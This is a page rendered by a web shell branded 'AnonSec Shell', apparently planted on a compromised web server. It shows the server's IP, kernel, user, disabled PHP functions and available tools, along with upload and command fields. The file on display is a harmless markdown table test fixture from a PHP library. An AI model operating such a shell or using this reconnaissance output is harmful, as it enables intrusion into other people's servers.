AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/vendor/cebe/markdown/tests/github-data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/vendor/cebe/markdown/tests/github-data/tables.md
Tables
------

First Header  | Second Header
------------- | -------------
Content Cell  | Content Cell
Content Cell  | Content Cell

| First Header  | Second Header |
| ------------- | ------------- |
| Content Cell  | Content Cell  |
| Content Cell  | Content Cell  |

| Name | Description          |
| ------------- | ----------- |
| Help      | Display the help window.|
| Close     | Closes a window     |

| Name | Description          |
| ------------- | ----------- |
| Help      | **Display the** help window.|
| Close     | _Closes_ a window     |

| Default-Align | Left-Aligned  | Center Aligned  | Right Aligned |
| ------------- | :------------ |:---------------:| -----:|
| 1             | col 3 is      | some wordy text | $1600 |
| 2             | col 2 is      | centered        |   $12 |
| 3             | zebra stripes | are neat        |    $1 |


Simple | Table
------ | -----
1      | 2
3      | 4

| Simple | Table |
| ------ | ----- |
| 1      | 2     |
| 3      | 4     |
| 3      | 4     \|
| 3      | 4    \\|

Check https://github.com/erusev/parsedown/issues/184 for the following:

Foo | Bar | State
------ | ------ | -----
`Code | Pipe` | Broken | Blank
`Escaped Code \| Pipe` | Broken | Blank
Escaped \| Pipe | Broken | Blank
Escaped \\| Pipe | Broken | Blank
Escaped \\ | Pipe | Broken | Blank

| Simple | Table |
| :----- | ----- |
| 3      | 4     |
3      | 4
5

Mixed | Table
------ | -----
| 1      | 2
3      | 4

| Mixed | Table
------ | -----
| 1      | 2
3      | 4

 Mixed | Table
|------ | ----- |
 1      | 2
| 3      | 4 |

some text

| single col |
| -- |  -- |
| 1 |
2
3

| Table | With | Empty | Cells |
| ----- | ---- | ----- | ----- |
|       |      |       |       |
|   a   |      |   b   |       |
|       |  a   |       |   b   |
|   a   |      |       |   b   |
|       |  a   |   b   |       |

   |
-- | --
   |
   
|   |   |
| - | - |
|   |   |

 | Table | Indentation |
 | ----- | ---- |
   | A     | B    |

  | Table | Indentation |
  | ----- | ---- |
   | A     | B    |

 | Table | Indentation |
   | ----- | ---- |
 | A     | B    |

    | Table | Indentation |
   | ----- | ---- |
 | A     | B    |

| Table | Indentation |
    | :----- | ---- |
    | A     | B    |

| Item      | Value |
| --------- | -----:|
| Computer  | $1600 |
| Phone     |   $12 |
| Pipe      |    $1 |

Anon7 - 2022
AnonSec Team